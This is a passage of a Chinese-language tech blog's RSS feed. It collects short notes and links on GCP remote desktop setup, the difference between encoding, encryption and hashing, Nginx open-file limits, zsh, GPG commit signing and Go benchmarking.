tableText = `(((\|)([a-zA-Z\d+\s#!@&amp;#39;&amp;#34;():;\\\/.\[\]\^&amp;lt;={$}&amp;gt;?(?!-))]+))+(\|))(?:\n)?((\|)(-+))+(\|)(\n)((\|)(\W+|\w+|\S+))+(\|$)`
&lt;/code>&lt;/pre></description></item><item><title>Google Cloud Platform(GCP)：透過 Windows 遠端桌面存取 GCP 執行個體上的 Linux GUI</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211020-google-cloud-platform-gcp-access-linux-server-using-gui-running-in-gcp-instance-using-windows/</link><pubDate>Wed, 20 Oct 2021 16:15:48 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211020-google-cloud-platform-gcp-access-linux-server-using-gui-running-in-gcp-instance-using-windows/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/tech-guides/google-cloud-platform-gcp-access-linux-server-using-gui-running-in-gcp-instance-using-windows-201e315925a6" target="_blank" rel="noopener">Google Cloud Platform(GCP)：透過 Windows 遠端桌面存取 GCP 執行個體上的 Linux GUI&lt;/a>&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># This will install GUI and make it as a default startup option and then restart the machine.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ sudo yum install xrdp tigervnc-server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# sudo su
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# passwd
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# systemctl enable --now xrdp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>~# netstat -antup | grep xrdp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tcp &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> 0.0.0.0:3389 0.0.0.0:* LISTEN 10202/xrdp
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>tcp &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> 127.0.0.1:3350 0.0.0.0:* LISTEN 10201/xrdp-sesman
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>【筆記】在GCP上建立可Remote dekstop的Ubuntu環境</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211020-gcp-remote-desktop/</link><pubDate>Wed, 20 Oct 2021 16:14:47 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211020-gcp-remote-desktop/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@huiqinng/%E7%AD%86%E8%A8%98-%E5%9C%A8gcp%E4%B8%8A%E5%BB%BA%E7%AB%8B%E5%8F%AFremote-dekstop%E7%9A%84ubuntu%E7%92%B0%E5%A2%83-e56fdbd3a4f2" target="_blank" rel="noopener">【筆記】在 GCP 上建立可 Remote dekstop 的 Ubuntu 環境&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="install">install&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># dependency&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get install ubuntu-desktop gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># VNC Server&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo apt-get install vnc4server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 安裝完成後先執行vncserver，會先跳出password設定的選項&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vncserver
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="modify-vncxstartup">modify &lt;code>~/.vnc/xstartup&lt;/code>&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">#!/bin/sh
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Uncomment the following two lines for normal desktop:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># unset SESSION_MANAGER&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># exec /etc/X11/xinit/xinitrc&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> -x /etc/vnc/xstartup &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> exec /etc/vnc/xstartup
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">[&lt;/span> -r $HOME/.Xresources &lt;span style="color:#f92672">]&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> xrdb $HOME/.Xresources
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>xsetroot -solid grey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vncconfig -iconic &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>x-terminal-emulator -geometry 80x24+10+10 -ls -title &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$VNCDESKTOP&lt;span style="color:#e6db74"> Desktop&amp;#34;&lt;/span> &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>x-window-manager &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gnome-panel &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>gnome-settings-daemon &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>metacity &amp;amp;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>nautilus &amp;amp;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="exec">exec&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 殺掉目前執行的vncserver 然後重新執行&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vncserver -kill :1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># vncserver預設是執行在port 5900上，如果在後面加上：1 就是5901以此類推&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>vncserver :1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="設定-reboot-的時候自動執行-vncserver">設定 reboot 的時候自動執行 vncserver&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>@reboot /usr/bin/vncserver :1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>一次搞懂密碼學中的三兄弟 — Encode、Encrypt 跟 Hash</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211018-what-are-encoding-encrypt-and-hashing/</link><pubDate>Mon, 18 Oct 2021 14:24:01 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211018-what-are-encoding-encrypt-and-hashing/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/starbugs/what-are-encoding-encrypt-and-hashing-4b03d40e7b0c" target="_blank" rel="noopener">一次搞懂密碼學中的三兄弟 — Encode、Encrypt 跟 Hash&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="編碼encoding">編碼（Encoding）&lt;/h3>
&lt;blockquote>
&lt;p>不會修改資料、也沒有任何加密的效果，單純就是 換個方式來表達資料 而已，其中最有名的例子就是&lt;code>摩斯密碼&lt;/code>&lt;/p>
&lt;ul>
&lt;li>JavaScript 中有兩個很實用的 function 分別是 &lt;code>encodeURI&lt;/code> 跟 &lt;code>decodeURI&lt;/code> 把網址中的特殊字元（空白、標點符號等等）編碼成符合 URL 的格式&lt;/li>
&lt;li>&lt;code>Base64&lt;/code> 是一種可以把二進位的資料編碼成 ASCII 字元的方法&lt;/li>
&lt;li>&lt;code>霍夫曼編碼（Huffman Coding）&lt;/code> 一種用來進行 無失真壓縮 的編碼演算法，說穿了他的概念就是把常用的字記成縮寫，從而降低資料量、達到壓縮的效果&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;h3 id="加密encrypt">加密（Encrypt）&lt;/h3>
&lt;blockquote>
&lt;p>加密跟解密必須要有金鑰（Key）才能進行。以最簡單的 凱薩加密法 來說，他加密的方式就是把每個英文字母加上一個 偏移量，這個偏移量就是用來執行加解密的 Key&lt;/p>
&lt;ul>
&lt;li>AES (Advanced Encryption Standard) 是一種對稱加密演算法，所謂的對稱就是說加密解密 都是用同一個 key，這點跟上面說到的凱薩加密法一樣，但 AES 不像凱薩的 key 只有 0-25 這麼少種，而是可以有超過 10³⁸ 種&lt;/li>
&lt;li>RSA 這類非對稱加密法有個很特別的地方，就是他會產生一組兩個 Key 分別叫公鑰（Public Key）跟私鑰（Private Key），而且 用公鑰加密的內容只能用私鑰解&lt;/li>
&lt;/ul>&lt;/blockquote>
&lt;h3 id="雜湊hashing">雜湊（Hashing）&lt;/h3>
&lt;blockquote>
&lt;p>各個 欄位/字元 丟進去某個公式計算的方式就叫做雜湊（Hash），而這個計算公式就稱為 雜湊函數（Hash function），過程可能會做各種加減乘除，最後算出一個值或字串，因為不可能由雜湊後的結果回推，所以雜湊的過程是 不可逆的&lt;/p>&lt;/blockquote></description></item><item><title>Nginx 出現 500 Error 修復 (too many open file, connection)</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211009-nginx-worker-many-file-fix/</link><pubDate>Sat, 09 Oct 2021 11:51:06 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211009-nginx-worker-many-file-fix/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.longwin.com.tw/2011/05/nginx-worker-many-file-fix-2011/" target="_blank" rel="noopener">Nginx 出現 500 Error 修復 (too many open file, connection)&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Nginx 出現 500 Error, 錯誤訊息只能從 Log 查到, 有遇到下述兩種狀況:&lt;/p>
&lt;h3 id="socket-failed-24-too-many-open-files-while-connecting-to-upstream">socket() failed (24: Too many open files) while connecting to upstream&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo su - www-data
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ ulimit -n &lt;span style="color:#75715e"># 看目前系統設定的限制 (ulimit -a # 可查看全部參數)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">1024&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># vim /etc/security/limits.conf # 由此檔案設定 nofile (nofile - max number of open files) 的大小&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 增加/修改 下述兩行&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* soft nofile &lt;span style="color:#ae81ff">655360&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>* hard nofile &lt;span style="color:#ae81ff">655360&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ulimit -n &lt;span style="color:#75715e"># 登出後, 在登入, 執行就會出現此值&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">655360&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 若 ulimit -n 沒出現 655360 的話, 可使用 ulimit -n 655360 # 強制設定&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 再用 ulimit -n 或 ulimit -Sn (驗證軟式設定)、ulimit -Hn (驗證硬式設定) 檢查看看(或 ulimit -a).&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 從系統面另外計算 + 設定&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>lsof | wc -l &lt;span style="color:#75715e"># 計算開啟檔案數量&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo vim /etc/sysctl.conf
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>fs.file-max &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">3268890&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo sysctl -p
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="512-worker_connections-are-not-enough-while-connecting-to-upstream">512 worker_connections are not enough while connecting to upstream&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># /etc/nginx/nginx.conf&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>worker_connections 10240;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 參考 Nginx CoreModule&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># worker_processes 2;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># worker_rlimit_nofile 10240;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># events {&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># # worker_connections 10240;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># }&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># Nginx 的 connection 增加後, 整體速度會變慢很多, 主要原因是 php-cgi 不夠用, 所以要作以下調整.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># php-cgi was started with phpfcgid_children=&amp;#34;10&amp;#34; and phpfcgid_requests=&amp;#34;500&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># ab was run on another server, connect via a switch using GBit ethernet&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># http://till.klampaeckel.de/blog/archives/30-PHP-performance-III-Running-nginx.html&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># vim /etc/nginx/nginx.conf&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>worker_connections 10240;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>worker_rlimit_nofile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># vim /etc/init.d/php-fcgi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PHP_FCGI_CHILDREN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">15&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PHP_FCGI_MAX_REQUESTS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">1000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>改成
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PHP_FCGI_CHILDREN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">512&lt;/span> &lt;span style="color:#75715e"># 或 150 慢慢加, 注意 MySQL connection 是否夠用&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PHP_FCGI_MAX_REQUESTS&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#ae81ff">10240&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># 上述文章的 phpfcgid_stop(), 寫得還不錯, 有需要可以用看看.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># phpfcgid_stop() {&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># echo &amp;#34;Stopping $name.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pids=`pgrep php-cgi`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># pkill php-cgi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># wait_for_pids $pids&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># }&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>超簡單！快速打造漂亮又好用的 zsh 終端環境</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211009-zsh/</link><pubDate>Thu, 07 Oct 2021 08:44:18 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211009-zsh/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://medium.com/@white1033/%E8%B6%85%E7%B0%A1%E5%96%AE-%E5%BF%AB%E9%80%9F%E6%89%93%E9%80%A0%E6%BC%82%E4%BA%AE%E5%8F%88%E5%A5%BD%E7%94%A8%E7%9A%84-zsh-%E7%B5%82%E7%AB%AF%E7%92%B0%E5%A2%83-c81874368264" target="_blank" rel="noopener">超簡單！快速打造漂亮又好用的 zsh 終端環境&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://dwye.dev/post/zsh-zim-powerlevel10k/" target="_blank" rel="noopener">用 zsh + zim + powerlevel10k 讓你的 Terminal 潮又快&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://medium.com/starbugs/%E6%89%93%E9%80%A0-10x-engineer-zsh-shell-97e40db76391" target="_blank" rel="noopener">打造 10X Engineer Shell 工作環境&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>利用 GPG 簽署 git commit</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211005-sign_git_commit_with_gpg/</link><pubDate>Tue, 05 Oct 2021 18:28:06 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20211005-sign_git_commit_with_gpg/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://blog.puckwang.com/posts/2019/sign_git_commit_with_gpg/" target="_blank" rel="noopener">利用 GPG 簽署 git commit&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>SHELL编程之常用技巧</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210922-shellbian-cheng-zhi-chang-yong-ji-qiao/</link><pubDate>Wed, 22 Sep 2021 13:01:11 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210922-shellbian-cheng-zhi-chang-yong-ji-qiao/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-chang-yong-ji-qiao.html" target="_blank" rel="noopener">SHELL 编程之常用技巧&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-nei-jian-ming-ling.html" target="_blank" rel="noopener">SHELL 编程之内建命令&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://zorrozou.github.io/docs/books/shellbian-cheng-zhi-te-shu-fu-hao.html" target="_blank" rel="noopener">SHELL 编程之特殊符号&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Golang基准测试</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210902-golang-ji-zhun-ce-shi/</link><pubDate>Thu, 02 Sep 2021 12:50:33 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210902-golang-ji-zhun-ce-shi/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mp.weixin.qq.com/s?__biz=MzkxNzAzNDA3Ng==&amp;amp;mid=2247485595&amp;amp;idx=1&amp;amp;sn=9981e6103a6b33cc3a06be0781a2bf10&amp;amp;chksm=c1478da8f63004be44a8c84941280f3888d4e5a2120a4288ed1a21f8a1a82fe65d719c31bae6#rd" target="_blank" rel="noopener">Golang 基准测试&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="基本使用">基本使用&lt;/h4>
&lt;blockquote>
&lt;p>基准测试常用于代码性能测试，函数需要导入 testing 包，并定义以 Benchmark 开头的函数， 参数为 testing.B 指针类型，在测试函数中循环调用函数多次&lt;/p>&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>➜ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -run&lt;span style="color:#f92672">=&lt;/span>none
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goos: darwin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goarch: amd64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pkg: pkg06
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cpu: Intel&lt;span style="color:#f92672">(&lt;/span>R&lt;span style="color:#f92672">)&lt;/span> Core&lt;span style="color:#f92672">(&lt;/span>TM&lt;span style="color:#f92672">)&lt;/span> i7-8850H CPU @ 2.60GHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkFib-12 &lt;span style="color:#ae81ff">250&lt;/span> &lt;span style="color:#ae81ff">4682682&lt;/span> ns/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ok pkg06 1.875s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>➜ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -benchmem -run&lt;span style="color:#f92672">=&lt;/span>none
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goos: darwin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goarch: amd64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pkg: pkg06
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cpu: Intel&lt;span style="color:#f92672">(&lt;/span>R&lt;span style="color:#f92672">)&lt;/span> Core&lt;span style="color:#f92672">(&lt;/span>TM&lt;span style="color:#f92672">)&lt;/span> i7-8850H CPU @ 2.60GHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkFib-12 &lt;span style="color:#ae81ff">249&lt;/span> &lt;span style="color:#ae81ff">4686452&lt;/span> ns/op &lt;span style="color:#ae81ff">0&lt;/span> B/op &lt;span style="color:#ae81ff">0&lt;/span> allocs/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ok pkg06 1.854s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="bench-的工作原理">bench 的工作原理&lt;/h4>
&lt;ul>
&lt;li>基准测试函数会被一直调用直到 &lt;code>b.N&lt;/code> 无效，它是基准测试循环的次数&lt;/li>
&lt;li>&lt;code>b.N&lt;/code> 从 &lt;code>1&lt;/code> 开始，如果基准测试函数在 &lt;code>1&lt;/code> 秒内就完成 (默认值)，则 &lt;code>b.N&lt;/code> 增加，并再次运行基准测试函数&lt;/li>
&lt;li>&lt;code>b.N&lt;/code> 的值会按照序列 &lt;code>1,2,5,10,20,50,...&lt;/code> 增加，同时再次运行基准测测试函数&lt;/li>
&lt;li>上述结果解读代表 &lt;code>1&lt;/code> 秒内运行了 &lt;code>250&lt;/code> 次，每次 &lt;code>4682682 ns&lt;/code>&lt;/li>
&lt;li>&lt;code>-12&lt;/code> 后缀和用于运行次测试的 &lt;code>GOMAXPROCS&lt;/code> 值有关。与 &lt;code>GOMAXPROCS&lt;/code> 一样，此数字默认为启动时 Go 进程可见的 CPU 数。可以使用 &lt;code>-cpu&lt;/code> 标识更改此值，可以传入多个值以列表形式来运行基准测试&lt;/li>
&lt;/ul>
&lt;h4 id="传入-cpu-num-进行测试">传入 cpu num 进行测试&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-shell" data-lang="shell">&lt;span style="display:flex;">&lt;span>➜ go test -bench&lt;span style="color:#f92672">=&lt;/span>. -cpu&lt;span style="color:#f92672">=&lt;/span>1,2,4 -benchmem -run&lt;span style="color:#f92672">=&lt;/span>none
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goos: darwin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>goarch: amd64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>pkg: pkg06
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>cpu: Intel&lt;span style="color:#f92672">(&lt;/span>R&lt;span style="color:#f92672">)&lt;/span> Core&lt;span style="color:#f92672">(&lt;/span>TM&lt;span style="color:#f92672">)&lt;/span> i7-8850H CPU @ 2.60GHz
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkFib &lt;span style="color:#ae81ff">244&lt;/span> &lt;span style="color:#ae81ff">4694667&lt;/span> ns/op &lt;span style="color:#ae81ff">0&lt;/span> B/op &lt;span style="color:#ae81ff">0&lt;/span> allocs/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkFib-2 &lt;span style="color:#ae81ff">255&lt;/span> &lt;span style="color:#ae81ff">4721201&lt;/span> ns/op &lt;span style="color:#ae81ff">0&lt;/span> B/op &lt;span style="color:#ae81ff">0&lt;/span> allocs/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>BenchmarkFib-4 &lt;span style="color:#ae81ff">256&lt;/span> &lt;span style="color:#ae81ff">4756392&lt;/span> ns/op &lt;span style="color:#ae81ff">0&lt;/span> B/op &lt;span style="color:#ae81ff">0&lt;/span> allocs/op
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PASS
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ok pkg06 5.826s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="count-多次运行基准测试">count 多次运行基准测试&lt;/h4>
&lt;blockquote>
&lt;p>因为热缩放、内存局部性、后台处理、gc 活动等等会导致单次的误差，所以一般会进行多次测试&lt;/p></description></item><item><title>使用mydumper备份数据库</title><link>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210901-mydumper/</link><pubDate>Wed, 01 Sep 2021 17:58:48 +0800</pubDate><guid>https://995facee.rickylin.pages.dev/zh-tw/posts/2021/20210901-mydumper/</guid><description>&lt;ul>
